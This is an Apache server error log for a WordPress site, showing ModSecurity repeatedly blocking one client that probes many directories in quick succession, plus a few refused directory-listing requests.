[Thu Mar 05 22:53:42.083362 2026] [:error] [pid 41459:tid 41480] [client 138.199.19.165:38758] [client 138.199.19.165] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/admin/editor/"] [unique_id "aamY9udFBZEnZ3pzxrWKkQAAAUY"]
[Thu Mar 05 22:53:42.595757 2026] [:error] [pid 53350:tid 53378] [client 138.199.19.165:38774] [client 138.199.19.165] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/admin/editor/"] [unique_id "aamY9qO0Baxc5WFYeP2I6AAAAQM"]
[Thu Mar 05 22:53:43.306896 2026] [:error] [pid 53350:tid 53394] [client 138.199.19.165:38786] [client 138.199.19.165] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/admin/editor/"] [unique_id "aamY96O0Baxc5WFYeP2I6gAAARE"]
[Thu Mar 05 22:53:43.868634 2026] [:error] [pid 62177:tid 62325] [client 138.199.19.165:38806] [client 138.199.19.165] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/admin/editor/"] [unique_id "aamY9xWSQc2OzPrsnwX8_gAAAI0"]
[Thu Mar 05 22:53:44.469074 2026] [:error] [pid 53350:tid 53380] [client 138.199.19.165:38822] [client 138.199.19.165] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/include/"] [unique_id "aamY-KO0Baxc5WFYeP2I7QAAAQU"]
[Thu Mar 05 22:53:45.034568 2026] [:error] [pid 62435:tid 62455] [client 138.199.19.165:38830] [client 138.199.19.165] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/include/"] [unique_id "aamY-SMZJMDfZh_-8sWUtgAAAMU"]
[Thu Mar 05 22:53:45.590098 2026] [:error] [pid 8151:tid 8236] [client 138.199.19.165:38844] [client 138.199.19.165] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/include/"] [unique_id "aamY-ZO3dLEidct1HvCyqAAAAZA"]
[Thu Mar 05 22:53:46.224693 2026] [:error] [pid 53350:tid 53397] [client 138.199.19.165:47946] [client 138.199.19.165] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/include/"] [unique_id "aamY-qO0Baxc5WFYeP2I8AAAARQ"]
[Thu Mar 05 22:53:46.738786 2026] [:error] [pid 53350:tid 53378] [client 138.199.19.165:47960] [client 138.199.19.165] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/Assets/"] [unique_id "aamY-qO0Baxc5WFYeP2I8gAAAQM"]
[Thu Mar 05 22:53:47.310291 2026] [:error] [pid 41459:tid 41490] [client 138.199.19.165:47970] [client 138.199.19.165] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/Assets/"] [unique_id "aamY--dFBZEnZ3pzxrWKmwAAAVA"]
[Thu Mar 05 22:53:47.946668 2026] [:error] [pid 53350:tid 53395] [client 138.199.19.165:47986] [client 138.199.19.165] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/Assets/"] [unique_id "aamY-6O0Baxc5WFYeP2I9wAAARI"]
[Thu Mar 05 22:53:48.515646 2026] [:error] [pid 8151:tid 8227] [client 138.199.19.165:48014] [client 138.199.19.165] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/Assets/"] [unique_id "aamY_JO3dLEidct1HvCyrAAAAYg"]
[Thu Mar 05 22:53:49.156636 2026] [:error] [pid 62177:tid 62326] [client 138.199.19.165:48028] [client 138.199.19.165] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/images/stories/"] [unique_id "aamY_RWSQc2OzPrsnwX9BAAAAI4"]
[Thu Mar 05 22:53:49.788873 2026] [:error] [pid 8151:tid 8229] [client 138.199.19.165:48050] [client 138.199.19.165] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/images/stories/"] [unique_id "aamY_ZO3dLEidct1HvCyrQAAAYo"]
[Thu Mar 05 22:53:50.364355 2026] [:error] [pid 8151:tid 8234] [client 138.199.19.165:48064] [client 138.199.19.165] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/images/stories/"] [unique_id "aamY_pO3dLEidct1HvCyrgAAAY4"]
[Thu Mar 05 22:53:50.907616 2026] [:error] [pid 8151:tid 8244] [client 138.199.19.165:48086] [client 138.199.19.165] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/images/stories/"] [unique_id "aamY_pO3dLEidct1HvCysQAAAZg"]
[Thu Mar 05 22:54:01.807410 2026] [autoindex:error] [pid 8151:tid 8239] [client 138.199.19.165:48100] AH01276: Cannot serve directory /home/vetstars/public_html/wp-admin/css/: No matching DirectoryIndex (index.php,index.html.var,index.htm,index.html,index.shtml,index.xhtml,index.wml,index.perl,index.pl,index.plx,index.ppl,index.cgi,index.jsp,index.js,index.jp,index.php4,index.php3,index.phtml,default.htm,default.html,home.htm,index.php5,Default.html,Default.htm,home.html) found, and server-generated directory index forbidden by Options directive
[Thu Mar 05 22:54:06.944212 2026] [autoindex:error] [pid 8151:tid 8234] [client 138.199.19.165:48100] AH01276: Cannot serve directory /home/vetstars/public_html/wp-content/cache/: No matching DirectoryIndex (index.php,index.html.var,index.htm,index.html,index.shtml,index.xhtml,index.wml,index.perl,index.pl,index.plx,index.ppl,index.cgi,index.jsp,index.js,index.jp,index.php4,index.php3,index.phtml,default.htm,default.html,home.htm,index.php5,Default.html,Default.htm,home.html) found, and server-generated directory index forbidden by Options directive
[Thu Mar 05 22:54:07.305070 2026] [autoindex:error] [pid 8151:tid 8232] [client 138.199.19.165:48100] AH01276: Cannot serve directory /home/vetstars/public_html/wp-admin/maint/: No matching DirectoryIndex (index.php,index.html.var,index.htm,index.html,index.shtml,index.xhtml,index.wml,index.perl,index.pl,index.plx,index.ppl,index.cgi,index.jsp,index.js,index.jp,index.php4,index.php3,index.phtml,default.htm,default.html,home.htm,index.php5,Default.html,Default.htm,home.html) found, and server-generated directory index forbidden by Options directive
[Thu Mar 05 22:54:12.168568 2026] [autoindex:error] [pid 8151:tid 8240] [client 138.199.19.165:48100] AH01276: Cannot serve directory /home/vetstars/public_html/wp-includes/assets/: No matching DirectoryIndex (index.php,index.html.var,index.htm,index.html,index.shtml,index.xhtml,index.wml,index.perl,index.pl,index.plx,index.ppl,index.cgi,index.jsp,index.js,index.jp,index.php4,index.php3,index.phtml,default.htm,default.html,home.htm,index.php5,Default.html,Default.htm,home.html) found, and server-generated directory index forbidden by Options directive
[Thu Mar 05 22:54:12.767861 2026] [autoindex:error] [pid 8151:tid 8243] [client 138.199.19.165:48100] AH01276: Cannot serve directory /home/vetstars/public_html/wp-includes/block-patterns/: No matching DirectoryIndex (index.php,index.html.var,index.htm,index.html,index.shtml,index.xhtml,index.wml,index.perl,index.pl,index.plx,index.ppl,index.cgi,index.jsp,index.js,index.jp,index.php4,index.php3,index.phtml,default.htm,default.html,home.htm,index.php5,Default.html,Default.htm,home.html) found, and server-generated directory index forbidden by Options directive
[Thu Mar 05 22:54:13.363081 2026] [autoindex:error] [pid 8151:tid 8230] [client 138.199.19.165:48100] AH01276: Cannot serve directory /home/vetstars/public_html/wp-includes/block-supports/: No matching DirectoryIndex (index.php,index.html.var,index.htm,index.html,index.shtml,index.xhtml,index.wml,index.perl,index.pl,index.plx,index.ppl,index.cgi,index.jsp,index.js,index.jp,index.php4,index.php3,index.phtml,default.htm,default.html,home.htm,index.php5,Default.html,Default.htm,home.html) found, and server-generated directory index forbidden by Options directive
[Thu Mar 05 22:54:13.833925 2026] [:error] [pid 8151:tid 8220] [client 138.199.19.165:48100] [client 138.199.19.165] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/wp-includes/html-api/"] [unique_id "aamZFZO3dLEidct1HvCzCQAAAYE"]
[Thu Mar 05 22:54:14.455826 2026] [:error] [pid 41459:tid 41490] [client 138.199.19.165:60648] [client 138.199.19.165] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/wp-includes/html-api/"] [unique_id "aamZFudFBZEnZ3pzxrWK3gAAAVA"]
[Thu Mar 05 22:54:14.987794 2026] [:error] [pid 41459:tid 41496] [client 138.199.19.165:60670] [client 138.199.19.165] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/wp-includes/html-api/"] [unique_id "aamZFudFBZEnZ3pzxrWK4QAAAVY"]
[Thu Mar 05 22:54:15.499381 2026] [:error] [pid 41459:tid 41477] [client 138.199.19.165:60692] [client 138.199.19.165] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/wp-includes/html-api/"] [unique_id "aamZF-dFBZEnZ3pzxrWK5AAAAUM"]
[Thu Mar 05 22:54:16.017574 2026] [:error] [pid 41459:tid 41485] [client 138.199.19.165:44628] [client 138.199.19.165] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/wp-includes/js/"] [unique_id "aamZGOdFBZEnZ3pzxrWK5wAAAUs"]
[Thu Mar 05 22:54:16.580730 2026] [:error] [pid 62435:tid 62472] [client 138.199.19.165:44646] [client 138.199.19.165] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/wp-includes/js/"] [unique_id "aamZGCMZJMDfZh_-8sWUwQAAANY"]
[Thu Mar 05 22:54:17.119679 2026] [:error] [pid 8151:tid 8220] [client 138.199.19.165:44664] [client 138.199.19.165] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/wp-includes/js/"] [unique_id "aamZGZO3dLEidct1HvCzDgAAAYE"]
[Thu Mar 05 22:54:17.663790 2026] [:error] [pid 8151:tid 8243] [client 138.199.19.165:44688] [client 138.199.19.165] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/wp-includes/js/"] [unique_id "aamZGZO3dLEidct1HvCzEAAAAZc"]
[Thu Mar 05 22:54:18.207025 2026] [:error] [pid 8151:tid 8230] [client 138.199.19.165:44710] [client 138.199.19.165] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/wp-includes/php-compat/"] [unique_id "aamZGpO3dLEidct1HvCzEwAAAYs"]
[Thu Mar 05 22:54:18.748093 2026] [:error] [pid 41459:tid 41486] [client 138.199.19.165:44722] [client 138.199.19.165] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/wp-includes/php-compat/"] [unique_id "aamZGudFBZEnZ3pzxrWK6QAAAUw"]
[Thu Mar 05 22:54:19.287141 2026] [:error] [pid 53350:tid 53386] [client 138.199.19.165:44736] [client 138.199.19.165] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/wp-includes/php-compat/"] [unique_id "aamZG6O0Baxc5WFYeP2JJAAAAQo"]
[Thu Mar 05 22:54:19.894032 2026] [:error] [pid 41459:tid 41494] [client 138.199.19.165:44762] [client 138.199.19.165] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/wp-includes/php-compat/"] [unique_id "aamZG-dFBZEnZ3pzxrWK6wAAAVQ"]
[Thu Mar 05 22:54:20.472010 2026] [:error] [pid 53350:tid 53379] [client 138.199.19.165:44780] [client 138.199.19.165] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/wp-includes/PHPMailer/"] [unique_id "aamZHKO0Baxc5WFYeP2JJwAAAQQ"]
[Thu Mar 05 22:54:20.991025 2026] [:error] [pid 41459:tid 41475] [client 138.199.19.165:44796] [client 138.199.19.165] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/wp-includes/PHPMailer/"] [unique_id "aamZHOdFBZEnZ3pzxrWK7wAAAUE"]
[Thu Mar 05 22:54:21.508446 2026] [:error] [pid 41459:tid 41492] [client 138.199.19.165:44800] [client 138.199.19.165] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/wp-includes/PHPMailer/"] [unique_id "aamZHedFBZEnZ3pzxrWK8AAAAVI"]
[Thu Mar 05 22:54:22.025788 2026] [:error] [pid 62177:tid 62326] [client 138.199.19.165:44820] [client 138.199.19.165] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/wp-includes/PHPMailer/"] [unique_id "aamZHhWSQc2OzPrsnwX9FQAAAI4"]
[Thu Mar 05 22:54:22.560925 2026] [:error] [pid 62177:tid 62322] [client 138.199.19.165:44828] [client 138.199.19.165] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/wp-includes/pomo/"] [unique_id "aamZHhWSQc2OzPrsnwX9FgAAAIs"]
[Thu Mar 05 22:54:23.160041 2026] [:error] [pid 62177:tid 62334] [client 138.199.19.165:44842] [client 138.199.19.165] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/wp-includes/pomo/"] [unique_id "aamZHxWSQc2OzPrsnwX9GgAAAJY"]
[Thu Mar 05 22:54:23.783868 2026] [:error] [pid 41459:tid 41490] [client 138.199.19.165:44854] [client 138.199.19.165] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/wp-includes/pomo/"] [unique_id "aamZH-dFBZEnZ3pzxrWK9AAAAVA"]
[Thu Mar 05 22:54:24.302544 2026] [:error] [pid 53350:tid 53400] [client 138.199.19.165:44856] [client 138.199.19.165] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/wp-includes/pomo/"] [unique_id "aamZIKO0Baxc5WFYeP2JLAAAARc"]
[Thu Mar 05 22:54:24.899685 2026] [:error] [pid 41459:tid 41483] [client 138.199.19.165:44878] [client 138.199.19.165] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/wp-includes/random_compat/"] [unique_id "aamZIOdFBZEnZ3pzxrWK-AAAAUk"]
[Thu Mar 05 22:54:25.424517 2026] [:error] [pid 8151:tid 8232] [client 138.199.19.165:44900] [client 138.199.19.165] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/wp-includes/random_compat/"] [unique_id "aamZIZO3dLEidct1HvCzIQAAAYw"]
[Thu Mar 05 22:54:26.002813 2026] [:error] [pid 8151:tid 8223] [client 138.199.19.165:52578] [client 138.199.19.165] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/wp-includes/random_compat/"] [unique_id "aamZIpO3dLEidct1HvCzJAAAAYQ"]
[Thu Mar 05 22:54:26.584573 2026] [:error] [pid 8151:tid 8235] [client 138.199.19.165:52604] [client 138.199.19.165] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/wp-includes/random_compat/"] [unique_id "aamZIpO3dLEidct1HvCzKQAAAY8"]
[Thu Mar 05 22:54:27.142163 2026] [:error] [pid 62177:tid 62320] [client 138.199.19.165:52626] [client 138.199.19.165] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/wp-includes/rest-api/"] [unique_id "aamZIxWSQc2OzPrsnwX9IAAAAIk"]
[Thu Mar 05 22:54:27.706901 2026] [:error] [pid 8151:tid 8230] [client 138.199.19.165:52674] [client 138.199.19.165] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/wp-includes/rest-api/"] [unique_id "aamZI5O3dLEidct1HvCzNAAAAYs"]
[Thu Mar 05 22:54:28.351008 2026] [:error] [pid 8151:tid 8223] [client 138.199.19.165:52698] [client 138.199.19.165] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/wp-includes/rest-api/"] [unique_id "aamZJJO3dLEidct1HvCzOQAAAYQ"]
[Thu Mar 05 22:54:28.961136 2026] [:error] [pid 8151:tid 8242] [client 138.199.19.165:52714] [client 138.199.19.165] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/wp-includes/rest-api/"] [unique_id "aamZJJO3dLEidct1HvCzPgAAAZY"]
[Thu Mar 05 22:54:29.507294 2026] [:error] [pid 8151:tid 8236] [client 138.199.19.165:52752] [client 138.199.19.165] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/wp-includes/sitemaps/"] [unique_id "aamZJZO3dLEidct1HvCzQwAAAZA"]
[Thu Mar 05 22:54:30.049400 2026] [:error] [pid 41459:tid 41498] [client 138.199.19.165:52754] [client 138.199.19.165] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/wp-includes/sitemaps/"] [unique_id "aamZJudFBZEnZ3pzxrWK_QAAAVg"]
[Thu Mar 05 22:54:30.617319 2026] [:error] [pid 8151:tid 8241] [client 138.199.19.165:52790] [client 138.199.19.165] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/wp-includes/sitemaps/"] [unique_id "aamZJpO3dLEidct1HvCzSgAAAZU"]
[Thu Mar 05 22:54:31.139675 2026] [:error] [pid 8151:tid 8223] [client 138.199.19.165:52802] [client 138.199.19.165] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/wp-includes/sitemaps/"] [unique_id "aamZJ5O3dLEidct1HvCzTgAAAYQ"]
[Thu Mar 05 22:54:31.755248 2026] [:error] [pid 8151:tid 8242] [client 138.199.19.165:52818] [client 138.199.19.165] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/wp-includes/sodium_compat/"] [unique_id "aamZJ5O3dLEidct1HvCzUgAAAZY"]
[Thu Mar 05 22:54:32.348939 2026] [:error] [pid 8151:tid 8239] [client 138.199.19.165:52838] [client 138.199.19.165] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/wp-includes/sodium_compat/"] [unique_id "aamZKJO3dLEidct1HvCzVwAAAZM"]
